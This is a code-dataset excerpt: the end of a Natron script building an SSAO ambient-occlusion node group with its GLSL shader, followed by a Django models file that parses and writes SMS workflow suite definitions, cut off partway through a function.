param.setHelp("Number of iteration to get the AO\n\nfor a very smooth AO you may need to increase this value to 1000 and lower the Sample noise value to 0.02")
param.setAddNewLine(True)
param.setAnimationEnabled(True)
param.setValue(25, 0)
lastNode.samples = param
del param
param = lastNode.createDoubleParam("sample_noise", "Samples_Noise")
param.setMinimum(0, 0)
param.setMaximum(2, 0)
param.setDisplayMinimum(0.001, 0)
param.setDisplayMaximum(1, 0)
# Add the param to the page
lastNode.Controls.addParam(param)
# Set param properties
param.setHelp("To calculate AO some noise is needed to get the samples correctly .\nIf the samples number is very high , then lower this value to something like 0.05 . ")
param.setAddNewLine(True)
param.setAnimationEnabled(True)
param.setValue(0.5, 0)
lastNode.sample_noise = param
del param
param = lastNode.createSeparatorParam("sepd", "")
# Add the param to the page
lastNode.Controls.addParam(param)
# Set param properties
param.setHelp("")
param.setAddNewLine(True)
param.setPersistant(False)
param.setEvaluateOnChange(False)
lastNode.sepd = param
del param
param = lastNode.createDoubleParam("strength", "Strength")
param.setMinimum(-2147483648, 0)
param.setMaximum(2147483647, 0)
param.setDisplayMinimum(0, 0)
param.setDisplayMaximum(2, 0)
param.setDefaultValue(1, 0)
param.restoreDefaultValue(0)
# Add the param to the page
lastNode.Controls.addParam(param)
# Set param properties
param.setHelp("")
param.setAddNewLine(True)
param.setAnimationEnabled(True)
lastNode.strength = param
del param
param = lastNode.createBooleanParam("filter", "Filter_Output")
# Add the param to the page
lastNode.Controls.addParam(param)
# Set param properties
param.setHelp("Blur slightly the image to get rid of the remaining noise/artifacts")
param.setAddNewLine(True)
param.setAnimationEnabled(True)
param.setValue(True)
lastNode.filter = param
del param
# Refresh the GUI with the newly created parameters
lastNode.setPagesOrder(['Controls', 'Node', 'Settings', 'Info'])
lastNode.refreshUserParamsGUI()
del lastNode
# Start of node "Output1"
lastNode = app.createNode("fr.inria.built-in.Output", 1, group)
lastNode.setScriptName("Output1")
lastNode.setLabel("Output1")
lastNode.setPosition(907, 349)
lastNode.setSize(104, 30)
lastNode.setColor(0.7, 0.7, 0.7)
groupOutput1 = lastNode
del lastNode
# End of node "Output1"
# Start of node "SSAO_Shader"
lastNode = app.createNode("net.sf.openfx.Shadertoy", 1, group)
lastNode.setScriptName("SSAO_Shader")
lastNode.setLabel("SSAO_Shader")
lastNode.setPosition(720, 100)
lastNode.setSize(80, 43)
lastNode.setColor(0.3, 0.5, 0.2)
groupSSAO_Shader = lastNode
param = lastNode.getParam("paramValueFloat0")
if param is not None:
param.setValue(1e-05, 0)
del param
param = lastNode.getParam("paramValueFloat1")
if param is not None:
param.setValue(0.00153, 0)
del param
param = lastNode.getParam("paramValueFloat2")
if param is not None:
param.setValue(0.05, 0)
del param
param = lastNode.getParam("paramValueInt3")
if param is not None:
param.setValue(10, 0)
del param
param = lastNode.getParam("paramValueFloat3")
if param is not None:
param.setValue(0.01473, 0)
del param
param = lastNode.getParam("paramValueInt4")
if param is not None:
param.setValue(1000, 0)
del param
param = lastNode.getParam("paramValueFloat5")
if param is not None:
param.setValue(1, 0)
del param
param = lastNode.getParam("imageShaderSource")
if param is not None:
param.setValue("uniform float total_strength = 1.0;\nuniform float base = 0.2;\nuniform float area = 0.01 ;\nuniform float falloff = 0.1;\nuniform float radius = 4.0;\nuniform int samples = 10;\nuniform float noise_amt = 1.0;\n\nfloat nrand( vec2 n )\n{\n float rnd = fract(sin(dot(n.xy, vec2(12.9898, 78.233)))* 43758.5453);\n rnd=(rnd*2)-1;\n\treturn rnd ;\n}\n\nvec3 gen_rnd_vec(vec2 co){\n float x = nrand( co ) ;\n float y = nrand( co+0.25464853 ) ;\n float z = nrand( co-0.16498 ) ;\n return vec3 (x,y,z)*noise_amt ;\n}\n\nvec3 normal_from_depth(vec3 depth, vec2 Coord) {\n\n const vec2 offset1 = vec2(0.0,0.001);\n const vec2 offset2 = vec2(0.001,0.0);\n float depth1 = texture2D(iChannel0, Coord.xy / iResolution.xy + offset1).r;\n float depth2 = texture2D(iChannel0, Coord.xy / iResolution.xy + offset2).r;\n vec3 p1 = vec3(offset1, depth1 - depth.r);\n vec3 p2 = vec3(offset2, depth2 - depth.r);\n vec3 normal = cross(p1, p2);\n normal.z = -normal.z;\n return normalize(normal);\n\n};\n\nvec3 sample_sphere_trash(int id, vec2 fragCoord){\n vec2 coord= vec2(fragCoord.x+(id),fragCoord.y+(id));\n vec3 vector = gen_rnd_vec(coord) ;\n float scale = float(id) / radius ;\n scale = mix(0.1, 1.0, scale * scale);\n vector *=scale ;\n vector = normalize(vector);\n return(vector) ;\n};\n\nvoid mainImage( out vec4 fragColor, in vec2 fragCoord )\n{\n vec2 uv = fragCoord.xy / iResolution.xy;\n vec3 random = gen_rnd_vec(uv);\n vec3 depth = texture2D(iChannel0, uv).rgb ;\n vec3 position = vec3(uv,depth);\n vec3 normal = normal_from_depth(depth, fragCoord);\n float radius_depth = radius/depth.r;\n float occlusion = 0.0;\n for(int i=0; i < samples; i++) {\n vec3 ray = radius_depth * reflect(sample_sphere_trash(i,fragCoord/iRenderScale) , random);\n vec3 hemi_ray = position + sign(dot(ray,normal)) * ray;\n vec2 hrl=clamp(hemi_ray.xy,vec2(0.,0.),vec2(1.,1.));\n float occ_depth = texture2D(iChannel0, hrl).r;\n float difference = depth.r - occ_depth;\n occlusion += (1.0-smoothstep(falloff, area, difference));\n }\n\n float ao = 1.0 - total_strength * occlusion * (1.0 / samples);\n fragColor = vec4(ao,ao,ao,1.0);\n}\n")
del param
param = lastNode.getParam("mipmap0")
if param is not None:
param.set("Nearest")
del param
param = lastNode.getParam("inputEnable1")
if param is not None:
param.setValue(False)
del param
param = lastNode.getParam("inputEnable2")
if param is not None:
param.setValue(False)
del param
param = lastNode.getParam("inputEnable3")
if param is not None:
param.setValue(False)
del param
param = lastNode.getParam("mouseParams")
if param is not None:
param.setValue(False)
del param
param = lastNode.getParam("paramCount")
if param is not None:
param.setValue(6, 0)
del param
param = lastNode.getParam("paramType0")
if param is not None:
param.set("float")
del param
param = lastNode.getParam("paramName0")
if param is not None:
param.setValue("area")
del param
param = lastNode.getParam("paramLabel0")
if param is not None:
param.setValue("area")
del param
param = lastNode.getParam("paramDefaultFloat0")
if param is not None:
param.setValue(0.009999999776482582, 0)
del param
param = lastNode.getParam("paramType1")
if param is not None:
param.set("float")
del param
param = lastNode.getParam("paramName1")
if param is not None:
param.setValue("falloff")
del param
param = lastNode.getParam("paramLabel1")
if param is not None:
param.setValue("falloff")
del param
param = lastNode.getParam("paramDefaultFloat1")
if param is not None:
param.setValue(0.1000000014901161, 0)
del param
param = lastNode.getParam("paramType2")
if param is not None:
param.set("float")
del param
param = lastNode.getParam("paramName2")
if param is not None:
param.setValue("noise_amt")
del param
param = lastNode.getParam("paramLabel2")
if param is not None:
param.setValue("noise_amt")
del param
param = lastNode.getParam("paramDefaultFloat2")
if param is not None:
param.setValue(1, 0)
del param
param = lastNode.getParam("paramType3")
if param is not None:
param.set("float")
del param
param = lastNode.getParam("paramName3")
if param is not None:
param.setValue("radius")
del param
param = lastNode.getParam("paramLabel3")
if param is not None:
param.setValue("radius")
del param
param = lastNode.getParam("paramDefaultFloat3")
if param is not None:
param.setValue(4, 0)
del param
param = lastNode.getParam("paramType4")
if param is not None:
param.set("int")
del param
param = lastNode.getParam("paramName4")
if param is not None:
param.setValue("samples")
del param
param = lastNode.getParam("paramLabel4")
if param is not None:
param.setValue("samples")
del param
param = lastNode.getParam("paramDefaultInt4")
if param is not None:
param.setValue(10, 0)
del param
param = lastNode.getParam("paramType5")
if param is not None:
param.set("float")
del param
param = lastNode.getParam("paramName5")
if param is not None:
param.setValue("total_strength")
del param
param = lastNode.getParam("paramLabel5")
if param is not None:
param.setValue("total_strength")
del param
param = lastNode.getParam("paramDefaultFloat5")
if param is not None:
param.setValue(1, 0)
del param
del lastNode
# End of node "SSAO_Shader"
# Start of node "Shuffle1"
lastNode = app.createNode("net.sf.openfx.ShufflePlugin", 2, group)
lastNode.setScriptName("Shuffle1")
lastNode.setLabel("Shuffle1")
lastNode.setPosition(708, -155)
lastNode.setSize(104, 43)
lastNode.setColor(0.6, 0.24, 0.39)
groupShuffle1 = lastNode
param = lastNode.getParam("outputChannelsChoice")
if param is not None:
param.setValue("Color.RGBA")
del param
param = lastNode.getParam("outputR")
if param is not None:
param.set("A.RenderLayer.Depth.Z")
del param
param = lastNode.getParam("outputRChoice")
if param is not None:
param.setValue("A.RenderLayer.Depth.Z")
del param
param = lastNode.getParam("outputGChoice")
if param is not None:
param.setValue("A.g")
del param
param = lastNode.getParam("outputBChoice")
if param is not None:
param.setValue("A.b")
del param
param = lastNode.getParam("outputAChoice")
if param is not None:
param.setValue("A.a")
del param
del lastNode
# End of node "Shuffle1"
# Start of node "ZRemap"
lastNode = app.createNode("net.sf.openfx.GradePlugin", 2, group)
lastNode.setScriptName("ZRemap")
lastNode.setLabel("ZRemap")
lastNode.setPosition(708, -50)
lastNode.setSize(104, 43)
lastNode.setColor(0.48, 0.66, 1)
groupZRemap = lastNode
param = lastNode.getParam("blackPoint")
if param is not None:
param.setValue(265, 0)
del param
param = lastNode.getParam("whitePoint")
if param is not None:
param.setValue(330, 0)
param.setValue(0, 1)
param.setValue(0, 2)
param.setValue(0, 3)
del param
del lastNode
# End of node "ZRemap"
# Start of node "Switch1"
lastNode = app.createNode("net.sf.openfx.switchPlugin", 1, group)
lastNode.setScriptName("Switch1")
lastNode.setLabel("Switch1")
lastNode.setPosition(907, 172)
lastNode.setSize(104, 43)
lastNode.setColor(0.3, 0.37, 0.776)
groupSwitch1 = lastNode
param = lastNode.getParam("which")
if param is not None:
param.setValue(0, 0)
del param
del lastNode
# End of node "Switch1"
# Start of node "Dot1"
lastNode = app.createNode("fr.inria.built-in.Dot", 1, group)
lastNode.setScriptName("Dot1")
lastNode.setLabel("Dot1")
lastNode.setPosition(952, -36)
lastNode.setSize(15, 15)
lastNode.setColor(0.7, 0.7, 0.7)
groupDot1 = lastNode
del lastNode
# End of node "Dot1"
# Start of node "Z"
lastNode = app.createNode("fr.inria.built-in.Input", 1, group)
lastNode.setScriptName("Z")
lastNode.setLabel("Z")
lastNode.setPosition(709, -286)
lastNode.setSize(104, 43)
lastNode.setColor(0.3, 0.5, 0.2)
groupZ = lastNode
del lastNode
# End of node "Z"
# Start of node "Blur1"
lastNode = app.createNode("net.sf.cimg.CImgBlur", 3, group)
lastNode.setScriptName("Blur1")
lastNode.setLabel("Blur1")
lastNode.setPosition(708, 172)
lastNode.setSize(104, 43)
lastNode.setColor(0.8, 0.5, 0.3)
groupBlur1 = lastNode
param = lastNode.getParam("NatronOfxParamProcessA")
if param is not None:
param.setValue(True)
del param
param = lastNode.getParam("size")
if param is not None:
param.setValue(3, 0)
param.setValue(3, 1)
del param
param = lastNode.getParam("filter")
if param is not None:
param.set("Quasi-Gaussian")
del param
param = lastNode.getParam("expandRoD")
if param is not None:
param.setValue(False)
del param
param = lastNode.getParam("disableNode")
if param is not None:
param.setValue(False)
del param
del lastNode
# End of node "Blur1"
# Now that all nodes are created we can connect them together, restore expressions
groupOutput1.connectInput(0, groupSwitch1)
groupSSAO_Shader.connectInput(0, groupZRemap)
groupShuffle1.connectInput(0, groupZ)
groupShuffle1.connectInput(1, groupZ)
groupZRemap.connectInput(0, groupShuffle1)
groupSwitch1.connectInput(0, groupBlur1)
groupSwitch1.connectInput(1, groupDot1)
groupDot1.connectInput(0, groupZRemap)
groupBlur1.connectInput(0, groupSSAO_Shader)
param = groupSSAO_Shader.getParam("paramValueFloat1")
param.setExpression("thisGroup.falloff.get()/100.0", False, 0)
del param
param = groupSSAO_Shader.getParam("paramValueFloat2")
param.setExpression("thisGroup.sample_noise.get()", False, 0)
del param
param = groupSSAO_Shader.getParam("paramValueFloat3")
param.setExpression("thisGroup.radius.get()/100.0", False, 0)
del param
param = groupSSAO_Shader.getParam("paramValueInt4")
param.setExpression("thisGroup.samples.get()", False, 0)
del param
param = groupSSAO_Shader.getParam("paramValueFloat5")
param.setExpression("thisGroup.strength.get()", False, 0)
del param
param = groupShuffle1.getParam("outputR")
group.getParam("Shuffle1outputR").setAsAlias(param)
del param
param = groupZRemap.getParam("blackPoint")
param.setExpression("thisGroup.np.get()", False, 0)
del param
param = groupZRemap.getParam("whitePoint")
param.setExpression("thisGroup.fp.get()", False, 0)
del param
param = groupSwitch1.getParam("which")
param.setExpression("thisGroup.showZ.get()", False, 0)
del param
param = groupBlur1.getParam("disableNode")
param.setExpression("1-(thisGroup.filter.get())", False, 0)
del param
try:
extModule = sys.modules["SSAOExt"]
except KeyError:
extModule = None
if extModule is not None and hasattr(extModule ,"createInstanceExt") and hasattr(extModule.createInstanceExt,"__call__"):
extModule.createInstanceExt(app,group)
| [
"[email protected]"
] | |
2c188a7afac8812cea9f54aff084465799ff2177 | 0d6a54010bb5757802415b624de7141f0f706a18 | /webg2system/smssettings/models.py | 8d16b21e0d787ef3cbe9f54834aea30e2b92c74f | [] | no_license | ricardogsilva/webg2system | 6039b43d108e8568973d9eb18c2bd847c72c035c | 5ea633ed9984987e7b170ade84b86dd1095e00fd | refs/heads/master | 2022-12-08T00:23:49.927755 | 2013-11-05T11:41:50 | 2013-11-05T11:41:50 | 2,925,139 | 0 | 0 | null | 2022-11-22T00:19:53 | 2011-12-06T14:13:00 | Python | UTF-8 | Python | false | false | 30,376 | py | import os
import pexpect
import re
import datetime as dt
from django.db import models
from systemsettings.models import Host
from operations.core.g2hosts import HostFactory
import pyparsing as pp
class Suite(models.Model):
_name = models.CharField(max_length=255, unique=True)
sms_representation = models.TextField()
@property
def name(self):
return self._name
@staticmethod
def from_suite_obj(suite_obj):
s = Suite(_name=suite_obj.name,
sms_representation=suite_obj.cdp_definition())
return s
@staticmethod
def from_cdp_definition(definition):
so = SuiteObj.from_sms_definition(definition)
s = Suite.from_suite_obj(so)
return s
def suite_obj(self):
'''
Return a SuiteObj instance from this object's sms representation.
'''
s = SuiteObj.from_sms_definition(self.sms_representation)
return s
def import_suite_obj(self, suite_obj):
'''
Import the input suite_obj and update this object's sms representation.
'''
self.sms_representation = suite_obj.cdp_definition()
self._name = suite_obj.name
def __unicode__(self):
return self.name
class SMSGenericNode(object):
sms_type = ''
_name = ''
_path = ''
variables = dict()
defstatus = 'queued'
status = 'unknown'
_parent = None
@property
def path(self):
return self._path
@property
def name(self):
return self._name
@name.setter
def name(self, name):
self._name = name
oldPath = self.path.rpartition('/')
self._path = '/'.join((oldPath[0], self.name))
@property
def parent(self):
return self._parent
@parent.setter
def parent(self, parent):
if self.sms_type != 'suite':
self._parent = parent
else:
raise Exception
if parent is None:
self._path = self.name
else:
if parent.sms_type == 'suite':
self._path = parent.path + self.name
else:
self._path = '/'.join((self.parent.path, self.name))
def __init__(self, name, variables=None, defstatus=None):
self.name = name
if variables is None:
self.variables = dict()
else:
self.variables = variables
if defstatus is not None:
self.defstatus = defstatus
def __repr__(self):
return '%s(%s)' % (self.sms_type, self.name)
def cdp_definition(self, indent_order=0):
output = '%s%s %s\n' % ('\t'*indent_order, self.sms_type, self.name)
output += self._start_cdp_definition(indent_order)
output += self._specific_cdp_definition(indent_order+1)
output += self._end_cdp_definition(indent_order)
return output
def _start_cdp_definition(self, indent_order=0):
output = ''
if self.defstatus != 'queued':
output += '%sdefstatus %s\n' % ('\t' * (indent_order + 1),
self.defstatus)
for k, v in self.variables.iteritems():
output += '%sedit %s "%s"\n' % ('\t'*(indent_order+1), k, v)
return output
def _end_cdp_definition(self, indent_order=0):
output = '%send%s\n' % ('\t'*indent_order, self.sms_type)
return output
def _specific_cdp_definition(self, indent_order=0):
return ''
def get_suite(self):
if self.parent is None:
if self.sms_type == 'suite':
result = self
else:
result = None
elif self.parent.sms_type == 'suite':
result = self.parent
else:
result = self.parent.get_suite()
return result
def get_node(self, path):
'''
Return the node with the defined path.
Paths can be given in an absolute or relative way.
Inputs:
path - a path to another node on the suite
'''
if path.startswith('/'):
base_node = self.get_suite()
node = base_node.get_node(path[1:])
else:
base_node = self.parent
if base_node is None:
base_node = self.get_suite()
path_list = path.split('/')
rel_path_list = []
for token in path_list:
if token != '':
if token == '..':
base_node = base_node.parent
else:
rel_path_list.append(token)
rel_path = '/'.join(rel_path_list)
node = None
if base_node is not None:
node = base_node._node_from_path(rel_path)
return node
class SuiteObj(SMSGenericNode):
sms_type = 'suite'
_families = []
_limits = []
@property
def families(self):
return self._families
@property
def limits(self):
return self._limits
@staticmethod
def from_sms_definition(def_string):
'''Return a new SuiteObj by parsing the input def_string.'''
grammar = SuiteObj.suite_grammar()
p = grammar.parseString(def_string)
the_variables = dict()
the_defstatus = 'queued'
the_clock = ('hybrid', 0)
the_families = []
the_limits = []
for item in p[2:]:
the_type = item[0]
if the_type == 'edit':
the_variables[item[1]] = item[2]
elif the_type == 'defstatus':
the_defstatus = item[1]
elif the_type == 'clock':
the_clock = (item[1], item[2])
elif the_type == 'limit':
the_limits.append(Limit(item[1], item[2]))
elif the_type == 'family':
the_families.append(FamilyObj.from_parse_obj(item))
s = SuiteObj(p[1], the_variables, the_defstatus, the_families,
the_limits, the_clock)
for f in s.families:
f._parse_triggers()
f._parse_in_limits()
return s, p
@staticmethod
def suite_grammar():
quote = pp.Word('"\'', exact=1).suppress()
colon = pp.Literal(':').suppress()
l_paren = pp.Literal('(').suppress()
r_paren = pp.Literal(')').suppress()
sms_node_path = pp.Word('./_' + pp.alphanums)
identifier = pp.Word(pp.alphanums, pp.alphanums + '_')
var_value = pp.Word(pp.printables) ^ pp.quotedString(pp.printables)
sms_comment = pp.Word('#') + pp.Optional(pp.restOfLine)
sms_var = pp.Group(pp.Keyword('edit') + identifier + var_value)
sms_label = pp.Group(pp.Keyword('label') + identifier + var_value)
sms_meter = pp.Group(pp.Keyword('meter') + identifier + pp.Word(pp.nums) * 3)
sms_limit = pp.Group(pp.Keyword('limit') + identifier + pp.Word(pp.nums))
sms_in_limit = pp.Group(pp.Keyword('inlimit') + sms_node_path + colon + identifier)
sms_trigger = pp.Group(pp.Keyword('trigger') + pp.restOfLine)
sms_repeat = pp.Group(pp.Keyword('repeat') + pp.Keyword('date') + \
identifier + pp.Word(pp.nums) * 2 + pp.Optional(pp.Word(pp.nums)))
sms_defstatus = pp.Group(pp.Keyword('defstatus') + (pp.Keyword('suspended') ^ \
pp.Keyword('complete') ^ pp.Keyword('queued')))
sms_clock = pp.Group(pp.Keyword('clock') + pp.Keyword('hybrid') + \
pp.Word(pp.nums))
sms_time = pp.Group(
pp.Keyword('time') + pp.ZeroOrMore(
pp.Word(pp.nums + ':') ^ pp.Word(pp.nums + ':+')
)
)
sms_task = pp.Group(
pp.Keyword('task') + \
identifier + \
pp.ZeroOrMore(
sms_defstatus ^ sms_trigger ^ sms_in_limit ^ sms_label ^ \
sms_meter ^ sms_var ^ sms_time
)
) + pp.Optional(pp.Keyword('endtask').suppress())
sms_family = pp.Forward()
sms_family << pp.Group(
pp.Keyword('family') + identifier + pp.ZeroOrMore(
sms_defstatus ^ sms_in_limit ^ sms_limit ^ sms_trigger ^ \
sms_var ^ sms_task ^ sms_family ^ sms_repeat ^ sms_time
)
) + pp.Keyword('endfamily').suppress()
sms_suite = pp.Keyword('suite') + identifier + \
pp.ZeroOrMore(sms_clock ^ sms_limit ^ sms_defstatus ^ sms_var ^ sms_family) + \
pp.Keyword('endsuite').suppress()
sms_suite.ignore(sms_comment)
return sms_suite
def __init__(self, name, variables=None, defstatus=None, families=None,
limits=None, clock=None):
super(SuiteObj, self).__init__(name, variables, defstatus)
self._path = '/'
self.clock = clock
self._families = []
self._limits = []
if families is not None:
for f in families:
self.add_family(f)
if limits is not None:
for li in limits:
self.add_limit(li)
def add_family(self, f):
self._families.append(f)
f.parent = self
def remove_family(self, f):
self._families.remove(f)
f.parent = None
def add_limit(self, li):
self._limits.append(li)
li.parent = self
def remove_limit(self, li):
self._limits.remove(li)
li.parent = None
def _start_cdp_definition(self, indent_order=0):
output = '%sclock %s %s\n' % ('\t' * (indent_order + 1),
self.clock[0], self.clock[1])
output += super(SuiteObj, self)._start_cdp_definition(indent_order)
return output
def _specific_cdp_definition(self, indent_order=0):
output = ''
for li in self.limits:
output += li.cdp_definition(indent_order)
for n in self.families:
output += n.cdp_definition(indent_order)
return output
def _end_cdp_definition(self, indent_order=0):
output = '%send%s' % ('\t'*indent_order, self.sms_type)
return output
def _node_from_path(self, path):
if path == '' or path == '.':
node = self
else:
path_list = path.split('/')
node_list = self.families
possible_node = None
for n in node_list:
if n.name == path_list[0]:
new_path = '/'.join(path_list[1:])
possible_node = n._node_from_path(new_path)
node = possible_node
return node
class SMSTriggerNode(SMSGenericNode):
trigger = ''
in_limits = []
times = []
def __init__(self, name, variables=None, defstatus=None, trigger=None,
in_limits=None):
super(SMSTriggerNode, self).__init__(name, variables, defstatus)
if trigger is not None:
self.trigger = trigger
if in_limits is not None:
self.in_limits = in_limits
def _parse_trigger(self):
if isinstance(self.trigger, unicode) or isinstance(self.trigger, str):
new_exp = ''
nodes = []
path_obj = re.compile(r'(\(*)([\w\d./=]*)(\)*)')
for tok in self.trigger.split():
re_obj = path_obj.search(tok)
for i in re_obj.groups():
if i == '':
pass
elif ('(' in i) or (')' in i):
new_exp += i
elif i in ('complete', 'unknown'):
new_exp += ' "%s" ' % i
elif i in ('AND', 'OR', 'and', 'or'):
new_exp += ' %s ' % i.lower()
elif i in ('==',):
new_exp += ' %s ' % i
elif i == 'eq':
new_exp += ' == '
else:
new_exp += ' "%s" '
nodes.append(self.get_node(i))
self.trigger = new_exp, nodes
else:
self.trigger = '', []
def _parse_in_limits(self):
new_inlimits = []
for item in self.in_limits:
if isinstance(item, tuple):
node = self.get_node(item[0])
lim_name = item[1]
for lim in node.limits:
if lim_name == lim.name:
lim.members.append(self)
new_inlimits.append(lim)
else:
new_inlimits.append(item)
self.in_limits = new_inlimits
def evaluate_trigger(self):
exp, nodes = self.trigger
if exp == '':
result = True
else:
result = eval(exp % tuple([n.status for n in nodes]))
return result
def _start_cdp_definition(self, indent_order=0):
output = super(SMSTriggerNode, self)._start_cdp_definition(indent_order)
for t in self.times:
output += t.cdp_definition(indent_order + 1)
return output
def _specific_cdp_definition(self, indent_order=0):
output = ''
for in_lim in self.in_limits:
output += '%sinlimit %s\n' % ('\t' * indent_order, in_lim.path)
trig_text, trig_nodes = self.trigger
if trig_text != '':
new_trig = []
for tok in trig_text.split():
if tok in ('or', 'and'):
new_trig.append(tok.upper())
elif tok.startswith('"'):
new_trig.append(tok.replace('"', ''))
else:
new_trig.append(tok)
new_trig_text = ' '.join(new_trig)
trigger = new_trig_text % tuple([t.path for t in trig_nodes])
output += '%strigger %s\n' % ('\t' * indent_order, trigger)
return output
class FamilyObj(SMSTriggerNode):
sms_type = 'family'
repeat = None
_families = []
_tasks = []
_limits = []
@property
def families(self):
return self._families
@property
def tasks(self):
return self._tasks
@property
def limits(self):
return self._limits
@staticmethod
def from_parse_obj(parse_obj):
name = parse_obj[1]
the_variables = dict()
the_defstatus = 'queued'
the_trigger = ''
the_families = []
the_tasks = []
the_limits = []
the_in_limits = []
the_times = []
the_repeat = None
for item in parse_obj[2:]:
the_type = item[0]
if the_type == 'repeat':
#the_repeat = ' '.join([i for i in item[2:]]) # for now the repeat is just a string
the_repeat = RepeatFactory.create(item)
elif the_type == 'edit':
the_variables[item[1]] = item[2]
elif the_type == 'defstatus':
the_defstatus = item[1]
elif the_type == 'trigger':
the_trigger = item[1]
elif the_type == 'family':
f = FamilyObj.from_parse_obj(item)
the_families.append(f)
elif the_type == 'task':
t = TaskObj.from_parse_obj(item)
the_tasks.append(t)
elif the_type == 'limit':
the_limits.append(Limit(item[1], int(item[2])))
elif the_type == 'inlimit':
the_in_limits.append((item[1], item[2]))
elif the_type == 'time':
the_times.append(Time.from_parse_obj(item))
f = FamilyObj(name=name, variables=the_variables,
defstatus=the_defstatus, trigger=the_trigger,
repeat=the_repeat, families=the_families,
tasks=the_tasks, limits=the_limits,
in_limits=the_in_limits, times=the_times)
return f
def __init__(self, name, variables=None, defstatus=None, trigger=None,
in_limits=None, repeat=None, families=None, tasks=None,
limits=None, times=None):
super(FamilyObj, self).__init__(name, variables, defstatus, trigger,
in_limits)
self._families = []
self._tasks = []
self._limits = []
self.times = []
if families is not None:
for f in families:
self.add_family(f)
if tasks is not None:
for t in tasks:
self.add_task(t)
if limits is not None:
for li in limits:
self.add_limit(li)
if repeat is not None:
self.repeat = repeat
if times is not None:
self.times = times
def _parse_triggers(self):
self._parse_trigger()
for t in self.tasks:
t._parse_trigger()
for f in self.families:
f._parse_triggers()
def _parse_in_limits(self):
super(FamilyObj, self)._parse_in_limits()
for t in self.tasks:
t._parse_in_limits()
for f in self.families:
f._parse_in_limits()
def add_family(self, f):
self._families.append(f)
f.parent = self
def remove_family(self, f):
self._families.remove(f)
f.parent = None
def add_task(self, t):
self._tasks.append(t)
t.parent = self
def remove_task(self, t):
self._tasks.remove(t)
t.parent = None
def add_limit(self, li):
self._limits.append(li)
li.parent = self
def remove_limit(self, li):
self._limits.remove(li)
li.parent = None
def _node_from_path(self, path):
if path == '' or path == '.':
node = self
else:
path_list = path.split('/')
node_list = self.tasks + self.families
possible_node = None
for n in node_list:
if n.name == path_list[0]:
new_path = '/'.join(path_list[1:])
possible_node = n._node_from_path(new_path)
node = possible_node
return node
def _start_cdp_definition(self, indent_order=0):
output = ''
if self.repeat is not None:
output += self.repeat.cdp_definition(indent_order + 1)
output += super(FamilyObj, self)._start_cdp_definition(indent_order)
return output
def _specific_cdp_definition(self, indent_order=0):
output = super(FamilyObj, self)._specific_cdp_definition(indent_order)
for li in self.limits:
output += li.cdp_definition(indent_order)
for n in self.families:
output += n.cdp_definition(indent_order)
for t in self.tasks:
output += t.cdp_definition(indent_order)
return output
class TaskObj(SMSTriggerNode):
sms_type = 'task'
labels = dict()
meters = dict()
def __init__(self, name, variables=None, defstatus=None, trigger=None,
in_limits=None, labels=None, meters=None, times=None):
super(TaskObj, self).__init__(name, variables, defstatus, trigger,
in_limits)
if labels is None:
self.labels = dict()
else:
self.labels = labels
if meters is None:
self.meters = dict()
else:
self.meters = meters
if times is None:
self.times = []
else:
self.times = times
@staticmethod
def from_parse_obj(parse_obj):
name = parse_obj[1]
the_variables = dict()
the_trigger = ''
the_defstatus = 'queued'
the_in_limits = []
the_times = []
the_labels = dict()
the_meters = dict()
for item in parse_obj[2:]:
the_type = item[0]
if the_type == 'edit':
the_variables[item[1]] = item[2]
elif the_type == 'trigger':
the_trigger = item[1]
elif the_type == 'defstatus':
the_defstatus = item[1]
elif the_type == 'inlimit':
the_in_limits.append((item[1], item[2]))
elif the_type == 'label':
the_labels[item[1]] = item[2]
elif the_type == 'meter':
the_meters[item[1]] = {'min' : item[2], 'max' : item[3],
'threshold' : item[4]}
elif the_type == 'time':
the_times.append(Time.from_parse_obj(item))
t = TaskObj(name= name, variables=the_variables,
defstatus=the_defstatus, trigger=the_trigger,
in_limits=the_in_limits, labels=the_labels,
meters=the_meters, times=the_times)
return t
def _node_from_path(self, path):
node = None
if path == self.path or path == '':
node = self
return node
def _specific_cdp_definition(self, indent_order=0):
output = super(TaskObj, self)._specific_cdp_definition(indent_order)
for name, text in self.labels.iteritems():
output += '%slabel %s "%s"\n' % ('\t' * indent_order, name, text)
for name, m in self.meters.iteritems():
output += '%smeter %s %s %s %s\n' % ('\t' * indent_order, name,
m.get('min'), m.get('max'),
m.get('threshold'))
return output
class Limit(object):
sms_type = 'limit'
name = ''
num_tasks = 0
members = []
parent = None
@property
def path(self):
return ':'.join((self.parent.path, self.name))
def __init__(self, name, num_tasks, parent=None, members=None):
self.name = name
self.num_tasks = num_tasks
if parent is not None:
self.parent = parent
if members is None:
self.members = []
else:
self.members = members
def __repr__(self):
return '%s(%s)' % (self.sms_type, self.name)
def cdp_definition(self, indent_order=0):
output = '%slimit %s %s\n' % ('\t' * (indent_order),
self.name, self.num_tasks)
return output
class RepeatFactory(object):
@staticmethod
def create(parse_obj):
r = None
if parse_obj[1] == 'date':
if len(parse_obj) <= 5:
delta = 1
else:
delta = int(parse_obj[5])
r = DateRepeat(name=parse_obj[2], start_ymd=parse_obj[3],
end_ymd=parse_obj[4], delta=delta)
return r
class GenericRepeat(object):
sms_type = 'repeat'
name = ''
def __init__(self, name=None):
if name is not None:
self.name = name
def __repr__(self):
return '%s(%s)' % (self.sms_type, self.name)
class DateRepeat(GenericRepeat):
def __init__(self, name, start_ymd, end_ymd, delta=None):
super(DateRepeat, self).__init__(name)
self.start_ymd = dt.date(int(start_ymd[0:4]),
int(start_ymd[4:6]),
int(start_ymd[6:8]))
self.end_ymd = dt.date(int(end_ymd[0:4]),
int(end_ymd[4:6]),
int(end_ymd[6:8]))
if delta is None:
delta = 1
self.delta = dt.timedelta(days=delta)
def cdp_definition(self, indent_order=0):
output = '%srepeat date %s %s %s %s\n' % \
('\t' * (indent_order),
self.name,
self.start_ymd.strftime('%Y%m%d'),
self.end_ymd.strftime('%Y%m%d'),
self.delta.days)
return output
class Time(object):
def __init__(self, start, end=None, delta=None, relative=False):
'''
Inputs:
start - A string in the form [H]H:mm
'''
self.relative = relative
self.start = self._parse_time_string(start)
if end is not None:
self.end = self._parse_time_string(end)
else:
self.end = self.start
if delta is not None:
the_time = self._parse_time_string(delta)
delta_seconds = the_time.hour * 60 * 60 + the_time.minute * 60
self.delta = dt.timedelta(seconds=delta_seconds)
else:
self.delta = dt.timedelta(seconds=0)
@staticmethod
def from_parse_obj(parse_obj):
if parse_obj[1].startswith('+'):
relative = True
start = parse_obj[1][1:]
else:
relative = False
start = parse_obj[1]
if len(parse_obj) == 2:
t = Time(start=start, relative=relative)
elif len(parse_obj) == 4:
